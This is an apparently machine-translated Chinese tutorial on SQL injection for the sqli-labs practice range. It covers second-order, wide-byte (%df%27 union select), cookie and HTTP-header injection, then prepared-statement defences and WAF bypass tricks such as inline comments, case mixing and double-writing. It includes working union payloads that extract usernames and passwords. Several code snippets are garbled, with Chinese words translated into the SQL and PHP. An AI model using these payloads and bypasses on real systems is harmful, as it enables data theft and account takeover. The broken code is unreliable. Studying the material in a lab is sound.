欢迎来到Introzo百科
Introzo百科
当前位置:网站首页 > 技术 > Web漏洞-SQL注入(二)

Web漏洞-SQL注入(二)

日期:2023-10-05 17:45

06、二次注入

二次注入是将攻击语句写入数据库,等待其他函数从数据库调用攻击语句。其他功能语句拼接过程中,没有做有效过滤导致sql注入

流程:

  • 攻击者首次提交恶意输入数据

  • 恶意输入数据存储在数据库中

  • 攻击者提交输入两次

  • 为了响应第二次输入,程序查询数据库检索恶意输入并构造sql语句,形成二次注入

拍摄范围:sqli-labs-master-24可以去实验

代码分析:

function sqllogin(){$username = mysql_real_escape_string($_POST["login_user"]);$password = mysql_real_escape_string($_POST["login_password"]);$sql = "从用户中选择 * WHERE username='$username ' 和密码='$密码'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";$res = mysql_query($sql) or die('你想变得真正聪明,再努力一点!!!! :( ');$row = mysql_fetch_row($res);//print_r($row) ;

这里的用户名和密码是转义的\,转义字符\是存入数据库的时候就会恢复,这里没有sql注入

if (isset($_POST['提交'])){# 验证用户输入.....//$username= $_POST['username'] ;$username= mysql_escape_string($_POST['username']) ;$pass= mysql_escape_string($_POST['password'] );$re_pass= mysql_escape_string($_POST['re_password']);echo "";$sql = "从用户名='$username'的用户中选择 count(*)";$res = mysql_query ($sql ) 或者 die('你想变得聪明,再努力一点!!!:( ');$row = mysql_fetch_row($res);

你也可以看到这里有函数转义,所以也有没有注入点

if (isset($_POST['提交']))
{# 验证用户输入.....$username= $_SESSION["username"];$curr_pass= mysql_real_escape_string($_POST['current_password']);$pass= mysql_real_escape_string($_POST['password' ]); $re_pass= mysql_real_escape_string($_POST['re_password']);

修改用户码时获取用户名。没有过滤。您可以先以 admin'# 身份注册一个新用户。这就是二次注射的要点。

注册时有转义字符,admin'#会存入数据表中

插入用户(用户名,密码)值(“admin\'#”,“123”)

执行更新密码的语句是:

UPDATE users SET PASSWORD='123456' where username='admin'#' and password='123'

#后面的语句被注释了 - 最终执行的语句如下 - 因此修改了用户admin的密码

UPDATE users SET PASSWORD='123456' where username='admin'

这会创建二次注入

07、宽字节注入

宽字节注入是一种通过编码绕过后端代码的防御措施,如:正则过滤、传递函数转义

客户端采用GBK编码格式。数据库转义用户输入\。转义字符\的编码是%5c。添加编码%df,形成%df%5c,表示为繁体汉字串联,从而绕过转换。逸夫让我们‘逃跑’

GB2312、GBK、GB18030、BIG5等都是宽字节。宽字节的安全问题就是将ASCII(一个字节)变成宽字节

转Mysql的转函数:
Addslashes、mysql_real_escape_string、MySQL_ESCAPE_STRING等
  • 尝试注入类型为宽字节注入

  • 构造GBK编码使转义失效,使得‘转义’

  • 查询数据库名、表名、字段名,再查询数据,结合并集查询进行组合攻击

?id=-1%df%27 union select 1,database(),user() --+ #注意数据库名和用户
?id=-1%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() --+ #查询表名?id=-1%df%27 union select 1,(从 information_schema.columns 选择 group_concat(column_name),其中 table_name=(从 information_schema.tables 选择 table_name,其中 table_schema=database() limit 3,3)),database() - -+ #查询users中的字段名
?id=-1%df%27 union select 1,(从用户限制7,1中选择用户名),(从用户限制7,1中选择密码) --+ # 提取一组数据, 提取用全部group_concat(username,密码)

代码分析:

函数 check_quotes($string)
{$string= mysql_real_escape_string($string);返回$字符串;
}//获取变量
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "过滤后的请求是:" .$id . "
";//将连接参数记录到文件中以供分析。 $fp=fopen('结果.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);// 连接 mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $结果=mysql_query($sql);$row = mysql_fetch_array($result);

前端传入参数id,后端使用mysql_real_escape_string()对参数id的值进行转义。数据库的编码格式为GBK,为宽字节,转义符\(%5c)为一个字节,可以添加另外一个字节编码(%df)来构造GBK编码(%df%5c)使其失效转义符,这样就可以将sql语句中的id='$id'关闭,从而可以执行该语句。

08。 Cookie注入

Cookie处有一个注入点。后端不过滤cookies。如果使用sqlmap运行需要设置--level 2 --cookie " "

想法:

  • 确定cookie注入类型:数字还是字符

  • 确定字符类型后,开始判断是否有注入点

  • 注入点存在后,确定字段数量并联合注入

  • 后续就是之前的正常思维

代码分析:

if(!isset($_POST['submit'])){$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() +E0;回声“
”; echo '


'; echo '

直接进入代码分析:

if(!isset($_POST['submit'])){$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() +E0;回声“
”;回声“


”; echo '
10。 XFF 注入

一种 http 标头注入。标头参数就这些了

如果抓包显示没有X-Forwarded-for字段,那就自己添加

如果使用sqlmap运行,需要在抓取的数据包中添加X-Forwarded-for字段,使用sqlmap -r读取数据包

可以利用这个注入点加入联盟进行数据爆破

11。 User-Agent注入

另一种http头注入,在User-Agent字段中有一个注入。你可以尝试确定是哪种注射方式

使用sqlmap工具时,在数据包中添加User-Agent:*

代码分析:

$uagent = $_SERVER['HTTP_USER_AGENT'];$IP = $_SERVER['REMOTE_ADDR'];echo "
";echo '您的 IP 地址是: ' .$IP;echo "
" ;//echo '您的用户代理是:' .$uagent; // 获取变量if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd') ]);$fp=fopen('result.txt','a');fwrite($fp,'用户代理:'.$uname."\n");fclose($fp);$sql="SELECT users.username、users.password 来自用户 WHERE users.username=$uname 和 users.password=$passwd ORDER BY www.introzo.com DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($ result1);if($row1){echo '';$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', ' $IP', $uname)";mysql_query($insert);//echo '您的IP地址是: ' .$IP;echo "";//echo "
";echo ' '; echo '您的用户代理是:' .$uagent;echo "";echo "
";print_r(mysql_error()); echo "

";echo '

可以看到有User-Agent、账号和密码的过滤机制,但是User-Agen没有过滤机制,因为数据库的查询结果不会输出到页面,但是错误可以被输出,因此使用错误注入。

12。 Referer 注入

Referer 是 HTTP 请求标头的一部分。 Referer会告诉服务器这个请求来自哪里,服务器可以根据它能获取到的一些信息来处理它。同时Referer注入也是http header注入的一种。

它的原理其实和User-Agent是一样的,这里不再赘述。

注意:sql语句的语法结构是预编译和固定的。无论用户输入什么,sql语句的固定形式都不会改变。它只会作为字符串参数输入。固定sql语句的语法结构不能改变。

例如:

准备(“从注册表中选择*,其中名称=?”);
$stmt->execute([$_GET['name']]);
foreach ($stmt as $row) {print_r($row);
}
?>
2。检查数据类型

这种方法是一种很好的数字注入保护方法。在java中,数字类型注入可以忽略,因为需要声明参数类型,而在php和asp中没有强调处理。数据类型,因此数据类型会被自动判断,造成SQL注入。

3。过滤危险字符

使用正则表达式匹配危险字符,如:union、sleep、load_file等,如果匹配则退出

4。使用安全功能

在接收用户输入时添加安全功能。

例如:

php安全功能:
addslashes返回一个字符串,该字符串中的一些特殊字符前有一个反斜杠,用于数据库查询语句等。这些特殊字符有单引号(')、双引号(")、反斜杠(\)
htmlspecialchars 将 HTML 中的几个特殊字符转义为 HTML 实体(可以防止 XSS )
& (AND) => &” (双引号) => " (当未设置 ENT_NOQUOTES 时) ' (单引号) => ' (当设置了 ENT_QUOTES 时)< (小于号) => <> (大于号) = >>
mysql_real_escape_string 会调用 MySQL 库函数 mysql_real_escape_string 进行转义 (\x00), (\n), (\r), (), ('), (\x1a),即在Slash()前面加逆,防止SQL注入。

SQL 绕过:

1。绕过空格、引号、逗号、比较符号、注释符号、等号等。

注入时不能使用空格,绕过空格:

注释符绕过空格,注释符/**/代替空格
选择/**/用户,passwd/**/来自/**/usrs;
使用括号代替空格,并且经常使用时间盲注
睡眠(ascii(中(数据库()from(1)for(1)))= 109)
%a0 替换空格 

以绕过引号:

六角旁路

从 information_schema.tables 中选择 group_concat(table_name),其中 table_schema='security';
select group_concat(table_name) from information_schema.tables where table_schema=2773656375726974792720

绕过逗号:

来自旁路
选择 substr(数据库(),1,1);
选择 substr(database() from 1 for 1);偏移旁路
从用户限制0,1中选择*;
select * from users limit 0 offset 1;

绕过比较符号:

从 id=1 和 ascii(substr(database(),0,1))>64 的用户中选择 *;
从用户中选择 *,其中 id=1 且最大(ascii(substr(database(),0,1)),64)=64;
Maximum() 返回最大值,least() 返回最小值 

绕过注释符号 - 注释符号达到结束效果,使用代码结束符号代替注释符号,如“

绕过等号 = 使用 like、rlike、正则表达式等。

2。绕过关键字

关键字包括:union、select、where等

使用注释字符绕过:

常用注释字符
//, -- , /**/, #, --+, -- -, ;,%00,--a
用法:
sel/**/ect * from users un/**/ion select passwd from emis wh/**/ere limit 0,1;

使用大小写旁路:

select * from users UnIon select passwd from emis WheRe limit 0,1;

使用内联注释绕过:

select * from users /*!union*/ select passwd from emis /*!where*/ limit 0,1;

使用双写旁路:

select * from users unUnionion select passwd from emis where limit 0,1;

你可以运用所学的知识在sqli-labs-master射击场进行实验。只有不断练习才能掌握所学的知识!